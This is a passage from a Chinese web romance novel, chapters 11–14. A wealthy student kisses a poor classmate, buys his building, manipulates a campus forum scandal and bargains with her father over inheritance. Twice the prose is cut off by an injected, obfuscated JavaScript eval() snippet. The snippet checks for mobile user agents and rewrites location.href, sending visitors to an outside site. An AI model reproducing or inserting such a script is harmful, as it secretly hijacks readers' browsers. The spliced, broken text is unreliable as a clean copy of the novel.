她看着他,眼睛里闪烁着一点狡黠勾人的笑意,“你把你的伞借给我了,那你怎么回去?” 11.Fallen spring night [Fallen spring night……] 贺屿白一怔,眼里闪过一丝窘迫,舒嘉继续道: “你也快下班了吧?我叫司机来接我,顺路送你回去。” 贺屿白想说“不用麻烦”,却因察觉到她话里微妙的信息,而下意识地止住了声音。 舒嘉知道他下班的时间。 心忽然跳得很快,刚刚想要说的话也忘得一干二净。 “贺屿白,过来收拾一下餐具,准备换班了。”是店长在喊他。 舒嘉弯唇朝他笑,“不着急,我等你。” 她总是这样,轻而易举就拥有让他无法拒绝的魔力。 “……谢谢,麻烦了。”贺屿白轻声说。 他收拾好脏乱的后厨,在员工休息室换下身上沾满咖啡味道的制服,背起书包出去。 车子已经等在路边了,一推开门,夜风裹挟着潮湿水汽扑在脸颊,有些冷。 司机殷勤地打开车门,舒嘉小跑着钻进后座,一边往里挪一边问:“对了,还没问你住在哪个校区呢。” 湾大总共有四个校区,大部分学生都住在主校区,也有个别专业的学生分散在其余几个校区。 “我不住学校。” 贺屿白坐进后座,身体下意识地紧贴着右侧车门,他把书包放在腿上,垂眼盯着自己攥着包带的手,轻声报了个地址。 “方便的话,送我到这里就好。” 因为兼职的缘故,有时候结束工作会很晚,宿舍往往已经关门了,自己在校外租房子住会方便些。 “石阳街?那不是云湾最破的城中村地段吗?”司机一边开车一边接话道,“听说那边乱得很,尤其到了晚上,抢劫的打架的,什么人都有。警察都管不了。前阵子不是还有个什么新闻……” 贺屿白低着头,没有说话。 “别吓唬人了赵叔,专心开车。”舒嘉嗔怪,“你再说,今晚大家都要做噩梦了。” 赵叔识趣地闭上嘴,把他知道的那些恐怖新闻都憋回肚子里。 夜色里,雨越下越大。车尾灯融成潮湿的光海,绚丽迷人,这是属于云湾的夜景。 为了保持透气,后座右侧的窗户一直开着,车子一路疾驰,雨丝被风卷着刮进车里,湿漉漉地落在腿上。 舒嘉有点冷,朝贺屿白看过去。 车里没有开灯。贺屿白伸手去寻找关窗的开关,可这辆低调的豪车显然和他以往坐过的那些散发着廉价皮革臭味的出租车都不一样,他没能在熟悉的位置找到开关,又不敢乱碰,手指拘束地僵在那里。 余光注意到他的窘境,舒嘉倾身过来,指尖熟练地去摸开关的位置。 他还未来得及收回手,舒嘉的手无意碰上他的手背,摸到一片冰凉。 贺屿白眼睫猛然颤动,心跳快到要震破胸膛。 他浑身紧绷,连呼吸都小心屏住,手背上属于舒嘉的温度,在他此刻的感知里格外明晰。 仍有冷雨顺着未关的车窗吹进来。 有车子在鸣笛,声响尖锐,躁动的、潮湿的笛音。 他不敢擅自挣脱,或者说,他根本不敢有任何动作。只能任由心脏砰砰跳动,一声一声,越来越快。 他感觉到舒嘉的手摩挲过他因为洗了太多杯子而冷到僵硬发红的手指,一根一根地,很慢很慢。像在检查一件坏掉的雕塑。 “你的手好冷。”舒嘉皱眉,而后再自然不过地,把他的手指拢进了她的手心。 她手上涂了好闻的护手霜,很温暖,带着一点好奇,探索地抚摸过他手上冷硬的茧,还有皲裂的口子。 微卷的长发随着倾身的动作落下几缕,湿凉的发香,让贺屿白有一瞬的目眩神迷。 他低垂着眉眼,另一只手无声地将书包带子攥得更紧,清冷面容看不出任何异样,耳根却早在她碰到他的瞬间就红透了。 舒嘉转过头,才发觉她和贺屿白挨得很近。近到她只要再不经意地往前一点,就能碰到他的唇。 看起来很柔软,很凉。 舒嘉慢慢地往前靠了靠,盯着贺屿白的眼睛,观察着他每一丝细微的反应。 后背抵上靠背,退无可退。男生呼吸紧张起伏,那只手却始终没有挣扎,任由她握在手里,把玩,探索。 舒嘉忍不住想,还真是,意料之中的好欺负啊。 被她这样看着,贺屿白细密的睫毛不自然地眨动,像雨夜里的黑色蝴蝶。 他终于从喉咙里挤出干哑的字眼,“我……” 而舒嘉却已经收回了手。 她无视他紧张到过分明显的反应,只是无事发生般降下车窗,带着得逞后的满足坐回原处,懒洋洋地问赵叔:“快到了吧?” 空气中那股悸动的湿潮悄无声息地褪去,只留贺屿白怔然停在原地,在舒嘉看不到的昏暗角落,男生冷淡面容透出被捉弄后窘迫的红。 “到了,就是这儿。” 车子稳稳停在空旷的街道边,从车窗望出去,是一幢幢紧挨着的破旧矮楼。 楼下亮着红底白字的招牌,写着“洗剪吹十元”的大字。浓妆艳抹的女人蹲在掉了漆的电线杆旁边,打火机按得响亮,点着一支发潮的烟。 “你就住这里?”舒嘉新奇地打量着周围的景色,“能带我去你家坐坐吗?如果你方便的话。” 她顺理成章地提议,她从没来过这里,他作为东道主,当然该带她参观他的领地。 贺屿白开门的动作顿了顿,湿冷的风扑在脸上,他深深吸了口气,让冰凉的空气灌进喉咙,“……家里有点乱 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楼道里漆黑一片。老式的声控灯早就坏了,没人来修。 舒嘉踩上台阶才发觉不对,贺屿白及时打开手机,微弱的屏幕光亮照在因为偷工减料而凹凸不平的石面上。 “小心。”他低声叮嘱,“在二楼,很快就到了。” 他走在前面给舒嘉引路,下一秒,衣服却被舒嘉拽住。 “你走那么快干嘛。”昏暗楼道里,他看不清舒嘉的脸,只能听见她不满地向他抱怨。 心跳莫名漏跳了半拍,贺屿白转身,下意识地张口道歉:“对不起……” 楼道里过分安静。 隔着两级台阶,他们一上一下地站着,很长一段时间没有人再说话,只能听见交错起伏的呼吸声。 舒嘉忽然笑了声,“贺屿白,以前怎么没发现,你这么爱跟人说对不起啊。” 贺屿白微怔,心口骤然被晦涩的情绪塞满,以前…… 潮湿的雨夜,自行车上的女孩,飞溅的积水,还有土路中央跑过的小猫。 以前的那些,她都记得吗? 他微张着唇,不知该如何回应这句似认真又似玩笑的调侃,在舒嘉面前,他好像完全丧失语言表达的能力。 手机屏幕熄灭,唯一的一点光亮消失,四周陷入漆黑的寂静。 贺屿白想将手机重新按亮,舒嘉却捉住了他的手。 他感觉到她的呼吸逼近,身体顺着她的力道撞在身后发潮的白墙上,一瞬心脏的震颤,好似牵动骨骼肺腑。 舒嘉踮起脚,唇瓣碰到男生仔细剔过胡茬的干净下颌。 “可以亲你吗?”她在黑暗中眨了下眼,无辜地再强调一遍,“我想亲你。” 12.Fallen spring night [Fallen spring night……] 那一瞬,贺屿白几乎无法思考。 舒嘉迷人的声音落在寂静无声的楼道里,像天使在他耳畔蛊惑地低语,要他心甘情愿地献上一切,无论是身体还是情感。 舒嘉并没给他任何拒绝的余地,话音落下的瞬间,她就吻了上来。 破旧楼房里发霉的尘灰味,和她身上好闻的香水味混杂在一起,有种不真实的,梦一样的错觉。 贺屿白手指紧紧抠着墙面,因为过分用力,有灰白的墙皮片片剥落在脚边。 他太紧张了,紧张到完全不知道该做什么,也什么都不敢做,心跳过速,大脑空白,他的一切都被舒嘉掌控。 “张嘴。”舒嘉双手攀住他的脖颈,似命令又似诱哄。 贺屿白扶着墙,双腿在发软,却下意识地顺从舒嘉要求的一切。 从未有人踏足过的青涩领地被舒嘉肆无忌惮地玩弄吮咬,挑拨出暧昧的声响。 她在耐心地品尝他,探索他,像在体验一件新买的玩具。 舒嘉此刻才发觉贺屿白高出她很多,她要费力地一直高高踮起脚才能亲到他。 “你低一点,亲不到了。”舒嘉不大高兴地命令。 男生紧绷的脖颈听话地弯折得更低,双手却始终紧贴在身侧,极力压抑着想要触碰她的冲动。 “抱着我。” 舒嘉一边吻他,一边一点点地掰开他紧张到僵硬的手指,循循善诱。 贺屿白快要缺氧,徘徊在失控边缘的渴望终于得到了允许,他一只手把舒嘉环进怀里,另一只手克制地嵌入她的发丝,生涩地低头回吻。 时间仿佛被拉得很长,没有尽头。 贺屿白亲起来很舒服,完美符合她想象中的感觉。 她喜欢听他隐忍的呼吸声,每一声都是不自知的勾引,美妙动听,让她舍不得轻易结束这个吻。 等到舒嘉汗涔涔地从贺屿白怀里抬起头时,才发现他们不知不觉竟然接吻了快半个小时。 燥动的热潮褪去,舒嘉后知后觉有些冷。 “先进去吧?”舒嘉提议。 贺屿白迅速平复呼吸,低哑地“嗯”了声,拿出钥匙打开门,按亮客厅的灯。 舒嘉决定弥补刚才楼道里没有灯的遗憾,于是把贺屿白按在门边,又亲了一次。 他没有任何反抗地任由舒嘉作乱,不知道是谁碰到了门边松动的开关,年久失修的顶灯晃荡着熄灭,又被舒嘉一遍遍按亮。 这次她清楚地看见了男生红透的耳根,薄唇上蹭着她的口红,唇角还有暧昧的湿濡。 这些凌乱的痕迹出现在这张清冷的脸上,反差强烈,是属于她的完美创作。 贺屿白被舒嘉看得又低下头去,缓了缓呼吸,不自在地开口:“你……渴不渴?坐着等我一下,我很快回来。” 他应当迫切地需要一点独处的空间收拾一下自己的狼狈,舒嘉很乐于成全,于是点了点头,在沙发上坐了下来。 她无聊地打量起这间房子,顶多只有三十平米的狭小空间,除了这张露着大块黄色海绵的破旧沙发,和眼前简陋的玻璃茶几,就只有一张床,和一个要侧着身才能进去的卫生间。 那句“家里有点乱”根本就是谦辞,一切都被收拾得干净整洁,没有半点杂乱。 茶几上摆着几本厚厚的专业书,书名冗长晦涩。舒嘉随意翻开几页,眼皮就开始打架。 终于听见开门声,舒嘉抬头,看见贺屿白手里拿着便利店的塑料袋,里面是一只新买的杯子,还有一包纸巾。 脸上的痕迹已经被他仔细擦去,眉眼又恢复了舒嘉记忆里那副冷淡的模样。 贺屿白倒了杯水,放到舒嘉面前。 杯子是透明的,舒嘉随手转过来,背面印着个小熊图案,很可爱。 舒嘉拿起杯子,却没有喝,只是再次打量了一遍四周,而后看向贺屿白的眼睛。 “真的不需要我帮忙吗?” 从始至终,舒嘉对他贫穷窘迫的处境只字未提,哪怕这一切正毫无遮掩地摆在她的眼前。 贺屿白垂下眼,沉默地摇头,抽出一张纸巾递过去。 她的口红花了,像揉碎的花瓣,艳丽地染在唇角。让他回想起刚才接吻时她强势渡入的气息,甘甜的津液。在昏暗破落的楼道里,这一切发生着,无人知晓。 舒嘉盯着贺屿白又看了一会儿,才接过他手中的纸巾。 随手拿起茶几上放着的黑色签字笔,舒嘉在纸巾上写下一串数字,压在他为她买的那只透明水杯下面。 “我的手机号码,欢迎打给我。” 舒嘉灿然弯眸,站起身,推门离开。 生锈的铁门在贺屿白面前关上,发出腐朽沉闷的响声。他怔了下,想追上去,手触碰到冰冷的金属门把手,犹豫片刻,又僵硬地收回。 贺屿白沉默地回到茶几边,拿出手机,输入舒嘉留下的号码,存进通讯录。 短信编辑框里,几个干巴巴的字打了又删,删了又打。 他很想问问舒嘉,他们现在是什么关系。 她亲了他,那是他的初吻。 脑子里乱糟糟的,越是回想,就越是燥动。 贺屿白低头,看向运动裤上那块不自然的地方。 他没有碰,深吸一口气摁灭手机,走进逼仄的洗手间,拧开水龙头,一遍遍捧起冰凉的水,浇洗滚烫的面颊。 * “赵叔,你回车里等我吧,我这就出来了。” 给赵叔发了条语音报过平安,舒嘉走出楼道,迎面撞见个三十多岁的女人,一边讲电话一边骂骂咧咧地往楼上去。 “早说了不要把房子租给这种穷学生!一个月几百块房租都拿不出,还租什么房子啦?” 舒嘉握着手机停住脚步,想了想,跟着那女人往回走了几步。 女人停在贺屿白的房间门口,砰砰砰地把房门敲得震天响。 “到底要我催多少回才肯交租?已经宽限你一个礼拜了,每回都说结了工资就交,当我好糊弄呢!”女人越说越生气,“最晚明天,再拿不出钱就赶紧给我滚蛋!” 刚才被她亲过的男生头垂得很低,一声不吭地忍受着女人嘴里难听的谩骂。 女人骂得口干舌燥,终于骂累了,把水电费的单子狠狠摔在男生脸上。 电话还没挂,女人下楼的时候嘴里还在嘟囔着,“这种学生仔最能装了,看着可怜,就会欺负心肠软的!模样长得那么好,随便出去站一晚街都不知道能赚多少票子,只会跟我哭穷!” 看见舒嘉站在楼梯口,女人脚步一顿,一边按断电话,一边警惕地打量着眼前这个显然并不属于这里的姑娘。 “干嘛的?最近都没空房子租了,去去,要看房去别的地方看。” 舒嘉思考片刻,伸手指了指她身后,“这房子卖吗?” 女人不耐烦地瞪她一眼,“不卖不卖。” 开什么玩笑,她做的就是收租的生意,怎么可能轻易卖房。 说完,就要越过舒嘉往外走。 舒嘉礼貌地伸手拦住她,“我不太了解云湾这边的行情,但这种地段,现在的房价最多不会超过五千一平米。五百万,这栋楼我要了。” 女人愣了下,在大脑里飞快地计算了一下舒嘉所说的数字。 毋庸置疑,这是笔对她来说再划算不过的买卖。 女人上上下下又将舒嘉打量一遍,语气缓和了些,“小姑娘,五百万足够你在市中心买套小公寓了,你买这种破楼干什么。” 舒嘉笑笑,拿出手机示意女人添加她助理的联系方式。 她没有拖欠酬劳的习惯,仅此而已。 回忆起刚才男生好听克制的喘息声,舒嘉意犹未尽地抿抿唇,有点后悔没把当时的声音录下来。 那晚过后,舒嘉有很长一段时间没再见到贺屿白。 临近期末,舒嘉来往于教室、画室和图书馆之间,忙得无暇分身。 她辅修的美术课程要求在期末前提交一幅以自由为主题的油画作品,舒嘉每天至少有六个小时都待在毓音楼的画室。 毓音楼三楼一整层都是供学生使用的画室,舒嘉偏爱于靠近走廊尽头的那一间,安静,视野开阔。 偶尔会有两三个美术系的学生背着画板来这里,时间长了,和舒嘉也熟络起来。 舒嘉得以从她们口中听说了湾大不少狗血的八卦绯闻,不过她一向对这些不感兴趣,几个女生凑在一起讲得兴致勃勃唾沫横飞,舒嘉对着画纸思考色彩构图,偶尔做出惊讶的语气附和几声,倒也相处得融洽。 周末难得没课,舒嘉照例早早来到画室。 一推开门,毫不意外地听见一阵兴奋的议论声。 “真的假的啊?李恬不是那个中文系的系花吗?听说家里是开大公司的,巨有钱那种。我见过她几回,啧,眼光高得很,系主任的儿子追她她都没答应呢,怎么可能看上这种家里穷得叮当响的贫困生啊。” “我骗你干什么?自己看,照片拍得清清楚楚,学校论坛置顶的hot贴,你没看见?”说话的女生叫赵娅,撇着嘴把手机扔到刚刚质疑她话的女生面前。 余光看见舒嘉站在门口,赵娅立刻欢快地朝她招手:“嘉嘉,你来得正好,湾大年度最劲爆大瓜,保准你吃得满意。” 舒嘉配合地露出感兴趣的表情,走过去,看向赵娅桌上的手机。 赵娅指尖点开照片,放大,让舒嘉看得更清楚些。 照片上的背景赫然是舒嘉常去的那家咖啡店,贺屿白站在柜台旁,面容是她熟悉的冷淡,而他面前的女生却是一副委屈愤怒到快要哭出来的样子。 舒嘉微眯起眼,略作回忆。 ——是那晚,被她调侃问起是不是贺屿白女朋友的女生。 “李恬,云泽药业董事长的女儿。”赵娅指着照片给舒嘉科普,嗤笑了声,“平时在学校里一副大小姐做派,娇气得跟什么似的,没想到为了追人竟然跑到咖啡店去做兼职工……听说对方还是个连学费都交不起的穷小子,可笑死人了。” 舒嘉随手划了划,帖子的热度还在飙升,底下的评论一条接一条。 “卧槽这个诡异的偷拍角度脸都这么能打吗!这个身高,这个腰,这个冷漠的表情……我没了啊啊啊啊!要说我你们也别说人家大小姐眼光差了,这脸都能直接明星出道了好不好?” “被这么一张脸拒绝也是件很幸福的事吧……哪家咖啡店啊,我也要去兼职[哭哭]” “啧,人家李大小姐可不这么想啊,听说被拒绝之后恼羞成怒,直接发动钞能力,把人家好几个兼职都弄没了[抠鼻]” 舒嘉忍不住问了句:“她家里很有钱吗?” 赵娅恨恨点头,“有钱得很,财经新闻上说她爸的公司一年能赚五六百万呢。” 这样的家境,放在云湾这种小城市或许能跻身上流之列,但在川港舒氏的亿万财富面前,这点资产,根本就不够看。 五百万,对于舒大小姐而言,也只堪堪够她随手支付那晚的酬劳而已。 帖子下依然有人在评论,不知道是谁带起的话题,矛头莫名指向了贺屿白。 “要我说这男的就是不识好歹,都穷成那样了,还一副清高样,直接跟了人家呗,有大小姐养着,还用得着愁学费?” “活该,这种人就是要吃亏了才会老实,等着吧,说不定过两天穷得吃不起饭了,就知道乖乖回去求人家了。” “清高能当饭吃?要脸还是要钱?这很难选吗[抠鼻]” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239440|197434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 一条接着一条,看得舒嘉直皱眉。 她拿出手机,点开通话记录,都是熟悉的名字,这么多天过去,并没有陌生的电话号码打来。 贺屿白一直没有打给她。 舒嘉撑着下巴思考片刻,点进湾大论坛注册了个账号,再点开那条hot贴,在下面发了条评论。 “照片上的男生我见过。他不是早就有女朋友了吗?[无辜][吃瓜]” 短暂的安静后,帖子炸了。 一句模棱两可的发言,却如同一粒火星,将舆论瞬间点燃。 舒嘉向来擅长操纵舆论,这似乎是她作为舒氏继承人刻在基因里的本领。 越是模糊的信息,就越能吸引人的注意。 评论区的风向很快改变,激烈的争吵后,甚至有人另开了帖子,专门讨论“云泽药业千金试图用钱逼迫清贫男大出轨,是道德的沦丧还是人性的扭曲”。 舒嘉很是佩服这些网友的创造力和发散思维,看到再没人对贺屿白骂那些难听话,她也就收起手机,继续专心地研究起她的期末作业。 此时,图书馆里。 阳光透过半开的窗子,落在男生清冷眉眼间。 贺屿白握着手机,屏幕上是那条凭空出现的评论,新注册的账号头像是空白,昵称的位置,只有一个简单的“+”。 嘉……舒嘉…… 女朋友…… 心脏怦怦跳动,他连周围细碎的翻书声都听不见了。 有种冥冥之中的笃定告诉贺屿白,这个替他发声的账号的主人,就是舒嘉,只会是舒嘉。 他冷寂的人生里,从未有过如此迫切的渴望,想要见到舒嘉,想要亲口向她确认,她口中的“他的女朋友”,是不是那晚在漆黑的楼道里,将他按在墙边亲吻的女孩。 贺屿白把书本收进书包,匆匆离开图书馆。 他知道舒嘉每天都会去毓音楼,也知道她最常去的那间画室。 他没有坐电梯,直接顺着楼梯跑上去。 舒嘉锁好画室的门,赵娅还在叽叽喳喳地和其它两个女生议论那件八卦的后续,舒嘉闲闲地摆弄着手机,抬头时才看见贺屿白站在楼梯口。 赵娅吃惊地瞪大了眼睛,还没说完的话堵在嗓子眼,不上不下的。 本人果然比帖子里的照片还要帅,旁边女生发出小小的惊呼。 赵娅心里打鼓,这人又不是美术系的,来毓音楼干嘛? 难道是听到了她背后说他的那些难听话?不应该吧…… 还是旁边的两个女生先发现了不对劲,碰了碰舒嘉的手臂,试探地问:“嘉嘉,你们认识啊?” 舒嘉没有否认,目光落在眼前的男生身上,“你们先走吧,改天再约午饭。” 赵娅眼睛瞪得更圆了,还想追问什么,另一个女生急忙朝她使眼色,一把把她拉走了。 走廊里安静下来。 昨晚才下过雨,空气里透着一股潮湿的树叶气味,被风徐徐吹着,穿廊而过。 “有事找我?”舒嘉走过去,站在贺屿白面前。 她笑吟吟打量着男生赏心悦目的眉眼,“不是说过可以打电话给我吗?” “我……”贺屿白动了动唇,压下心口翻涌的情绪,“我想当面和你道谢。” “谢什么?” 正午的光线落在舒嘉漂亮精致的脸上,灿烂明艳。 酝酿了一路的话语忽然变得说不出口,贺屿白沉默了几秒,局促地攥紧了手心,“……房租的事,谢谢你。” 店里拖欠工资,他拿不出钱来交租,本来已经做好了被扫地出门的准备,可没想到那个满口脏话的坏脾气女人却再也没来找他的麻烦。 等他终于凑够了房租的钱,才从电话里得知,这栋楼被一位出手阔绰的舒小姐买下,还特意交代,他可以一直住在这里,再也不用担心房租的事。 舒嘉挑眉,“就为了这事?” “还有……”贺屿白有些紧张,声音很低,“论坛的帖子,你有看到吗?” “当然看到了。”舒嘉懒洋洋地说,“那些人说话也太难听了,一张照片就能猜出那么多捕风捉影的事。你就由着他们欺负你?说起来,这件事你确实该谢谢我,要不是我替你编了个谎,说你有女朋友了,这帖子还不知道要发酵成什么样子呢。” 贺屿白怔了怔,还未说完的话闷在胸腔,像塞进了灌满海水的棉絮,咸涩,发苦。 他后知后觉意识到自己那点可笑的、越界的期待,他这样的人,怎么配站在她的身边。 她生来就是阳光下明媚招摇的艳花,众星捧月,万人簇拥。 而他不过是梅雨季里滋生在路边石缝里的灰绿苔藓,本来就不该存在于她的季节。 贺屿白自嘲地扯唇,像是露出一个难看的笑,顺着她的话重复,“……谢谢。” 他声线哑涩得好像连发声都是勉强,让舒嘉想到小时候她用坏的那把小提琴,琴弓拉过弦面时的低泣。 她觉得贺屿白就像一根弦,沉默而冷韧,却会在她的摆弄之下发出各种令她愉悦的声音。哪怕快要坏掉,也不会拒绝她手中锋利的琴弓磨坏他的身体。 舒嘉不禁回想起许多旖旎的事,他的喘息,他汗津津的碎发,他清冷黑眸里流露出的隐忍欲望,因为她而萌生的欲望。 她望着贺屿白的眼睛,却恶劣地对那晚发生的一切只字未提,只是莞尔,“怎么除了对不起就是谢谢。” 有电话打来,舒嘉摸出手机看了眼屏幕上的名字,抬头朝贺屿白笑笑,“我先走啦。下次有事,直接打我电话就好,不用特意来画室找我。” 她像一阵热带的风,从贺屿白身旁的楼梯盘旋而下。 只留他站在原地,静静地聆听心脏落寞空寂的回响。 13.Fallen spring night [Fallen spring night……] “喂,歆歆。”舒嘉一边下楼一边接起电话,“你不是应该在国外跟你未婚夫度假吗,怎么有空打电话过来。” “呸呸呸,什么未婚夫!”郑歆宜像是听到什么晦气的话,连着啐了好几声,“我只是暂时妥协先和他订了婚而已,他才不是我未婚夫呢。就算以后真嫁给了他,我早晚也会跟他离婚的!” “好,离婚离婚,支持。”舒嘉赶紧转移话题,不再提好姐妹的伤心事,“下周五我生日,要不要过来玩一天?不过云湾这边肯定没川港热闹。” “你生日我当然要来了,我早上就给你发了消息,问你周五有空没有,你一直没回,我才打电话给你的。”郑歆宜撇嘴,“嘉嘉,老实交代,你是不是在那边交男朋友了?” 舒嘉无奈:“我哪有闲心谈男朋友啊。学校里的事就够我忙的了,这周末还约了Cathy过来聊合作,下个月还有四场画展两场拍卖会要看。” 郑歆宜听得咂舌,舒嘉的大学生活怎么好像和她的不太一样? “Cathy不是法国那个很有名的独立珠宝设计师吗?你什么时候对这些感兴趣了。”郑歆宜实在佩服舒嘉的精力,“我上个月刚从法国回来,还顺路看了她的展,早知道就把那条sweet lady买回来送你当生日礼物了。” 舒嘉笑,“没关系,你人到就好。” 作为舒家独女,舒嘉每年的生日宴都办得格外隆重,到场的都是商界的富豪名流,无异于一场大型的交际会。 好在今年舒嘉在云湾,得以免去一场无聊的应酬。 舒嘉让安雅提前订了两支她和郑歆宜都喜欢的酒,除此之外,她并没打算再做多余的庆祝。 生日而已,只意味着她又长大了一岁,又过去了一年。 提醒着她不能停下脚步,每一分每一秒都该充分利用。 舒嘉人虽然不在川港,但生日这天,各家的礼物却都心照不宣地及时送到。桦莱酒店的私人管家亲自帮忙整理,琳琅满目的高定珠宝、裙子、名画,堆满了隔间。 郑歆宜的专车一大早就到了桦莱楼下,舒嘉睡眼惺忪地下楼去接人,迷迷糊糊地被好姐妹热情地抱了个满怀。 “生日快乐宝贝!”郑歆宜夸张地欢呼,把一个绑着丝带的精致礼盒递给舒嘉。 一进舒嘉的套房,郑歆宜就警惕地四处巡逻,直到确认房间里真的没有一丁点男人的痕迹。 “嘉嘉,不会吧?你到云湾都大半年了,叔叔又管不着你,真的一次都没谈过?”郑歆宜震惊。 圈子里那些和她交好的豪门小姐,哪个身边没几个男人解闷?更不用说舒嘉这种身份,想要攀附讨好她的人,不知道有多少。 郑歆宜一脸惋惜,主动提议要给舒嘉安排几个男模体验体验,就当是给舒嘉成年后的第一个生日一份特别的礼物。 “我对那些不干净的男人没兴趣。”舒嘉打了个哈欠,对着拨通的电话吩咐,“Harvy,麻烦把早餐送到房间来,谢谢。” 舒嘉没有告诉郑歆宜,到云湾之后,她没对任何人提起她舒氏千金的身份,这为她省去了不少不必要的麻烦。其中当然也包括男人带来的麻烦。 两人在房间里吃过管家送来的早餐,舒嘉就带着郑歆宜下了楼,打算先带她去湾大校园里逛一圈。 说起来,当初郑歆宜本来也打算来湾大的,湾大的音乐系最出名,她从小就喜欢钢琴,做梦都想到湾大进修。可惜一桩仓促的联姻,让郑歆宜不得不留在了川港。 舒嘉借着生日的名义邀请郑歆宜来云湾,也是想借此机会,勉强弥补一些好姐妹的遗憾。 逛完主校区,已经是中午了。 舒嘉预约了附近一家口碑不错的私人餐厅,距离不远。两人顺着马路走过去,郑歆宜无意瞥见路边一家招牌显眼的蛋糕店,想起早晨舒嘉发给私人管家的晚餐菜单上似乎并没有蛋糕这项安排,后知后觉地一拍脑门,“嘉嘉,你也太没仪式感了,过生日没蛋糕怎么行?” 郑歆宜懊恼道,“早知道我就该和季小姐提前订好带过来的,现在从川港送过来也来不及了。” 季小姐的甜品店曾经是舒家酒会的专供合作商,舒嘉每年的生日蛋糕都出自这位以甜品手艺闻名川港的季小姐之手。 虽然旁人尊称她为“季小姐”,但实际上她已经有七十多岁了,身体和精力都大不如前。店面早就交给了子女们打理,只有舒嘉的蛋糕,每年仍是季小姐亲手制作。 郑歆宜对这种开在大学城附近的网红风格蛋糕店并没抱什么指望,但生日肯定要有漂亮的蛋糕拍漂亮的照片,只能将就一下,实在不行,拍完照就扔掉嘛。 舒嘉拗不过好姐妹的热情,被半拉半拽地拖进了店里。 “您好,请问需要点什么?”男生从玻璃柜后走出来,一边用纸巾擦去手上沾染的面粉,一边迎上前。 深情甜蜜的抒情旋律在这间充满了甜品香气的蛋糕店里回荡,他的声线却过分清冷,显得如此格格不入。 舒嘉抬眸,惊讶地对上一张熟悉的脸。 “贺屿白?好巧啊,好像……总是能遇见你。” 咖啡厅、蛋糕店…… 他兼职的地方,很巧合地,都和她的爱好有关。 “嘉嘉,你朋友吗?”郑歆宜对帅哥一向有着十分敏锐的嗅觉,立刻挤到舒嘉旁边,生怕错过什么热闹一样。 “嗯,认识。” 她用“朋友”来形容他们之间的关系,舒嘉没有否认。 贺屿白垂下视线,听见舒嘉的手指轻轻敲了下玻璃,“就这款吧,样式简单,也好做。” 郑歆宜立刻反驳:“那怎么行,你生日诶,至少要个双层的吧?” 生日…… 今天是她的生日吗? “帅哥,这个能做双层的吗?要多放巧克力碎,最好加点草莓和蔓越莓果酱,铺厚一点。”郑歆宜说。 “抱歉,这款的用料是固定的,不能定制。可以做双层,但时间要久一点,大概四小时能做好。” 贺屿白尽量平静地回答,低垂的眼睛,看着舒嘉放在玻璃柜台上的指尖。 他想起那晚,她就是用这只手掰过他的脸,掰过他的下巴。 酥麻战栗感蔓延全身,他连站都站不稳了。 可现在她却好像什么都没发生过一样站在他面前,默认了她身旁女生对他们关系的定义,他们只是朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贺屿白拿出手机,点开舒嘉的电话号码,盯着那串数字挣扎了很久,却还是没能鼓起拨打的勇气。 他终于在短信编辑框里打出拘谨而礼貌的一行字,“蛋糕做好了,要过来取吗?” 半小时没有回复,他小心翼翼地又发送一条。 “你忙的话,我可以给你送过去。” 然而却如同石沉大海,杳无回音。 精心裱好的奶油顶在漫长的等待中塌陷下去,失去了完美的形状。 贺屿白缩在柜台后,鼻尖冻得微微发红,每一口呼吸都是冷的,冷到麻木,冷到失去感知痛觉的能力。 手机屏幕亮起,数字钟表显示十一点五十三。 玻璃外的街景从喧闹到渐渐没入静谧,此刻,空荡荡的蛋糕店里,安静得只有他的呼吸。 贺屿白吸了吸鼻子,对着这块被遗忘的蛋糕,很平静地,轻声说。 “生日快乐。” 喉咙晦涩地吞咽了下,他声音小下去,像是在做一件不被允许的、逾越妄为的事。 “……嘉嘉。” 14.Fallen spring night [Fallen spring night……] 舒嘉很少彻底忘记某件事。 和郑歆宜从私人餐厅出来,两人都有点累了,想着反正蛋糕要晚上才吃,于是就先回了酒店休息。 舒知行的电话就是在这个时候打来的。 “……爸爸,我想你应该记得你答应过我的事。我说过我要留在云湾读完大学,不会回川港。你擅自给我办了港大的入学手续算什么回事?”舒嘉皱眉抿下一口冰过的酒,她心情坏到极点,哪里还记得那块被郑歆宜哄劝着订下的蛋糕。 “嘉嘉,你听爸爸解释。如果不是万不得已,爸爸不会要求你回来。”舒知行仍旧是那副温和耐心的口气,“你哥的事,歆宜应该有和你说吧?现在集团的业务越做越大,国外的那几个新版块本来是打算交给你哥打理的,他现在突然闹出这么一出,爸爸一个人,实在是顾不过来。嘉嘉,你得回来帮爸爸啊。” 半小时前,舒嘉刚从郑歆宜口中听说了她哥舒远那桩惊动川港媒体界的惊人事迹。 #豪门公子带女大学生现身民政局,疑似一见钟情闪婚和家中决裂 #舒氏多出痴情种 #舒氏财产继承权再引争议 …… 这事在川港闹得沸沸扬扬,热搜前排全是舒氏集团的新闻。 “所以,是因为哥哥离开舒家了,你才要把原本打算给哥哥的东西给我吗?”舒嘉转着酒杯,轻笑了声,“我不是你用来收拾烂摊子的备用选择,爸爸。” 舒氏集团总部大楼里,舒知行倚在转椅里,手机扔在桌上,眉头压得很沉。 秘书屏着呼吸站在一旁,大气不敢出。 舒知行沉默了很久,指节沉稳地叩着桌面,“那你想要什么,嘉嘉?从小到大,你想要什么爸爸没有给你。” “要我回川港帮你,可以。但作为交换,我要舒氏百分之八十的股权,还有,你的遗嘱上,不可以出现除了我和哥哥之外,其它子女的名字。” 舒知行指尖一顿,不可思议地抬眼看向手机。 “嘉嘉,你的意思……” 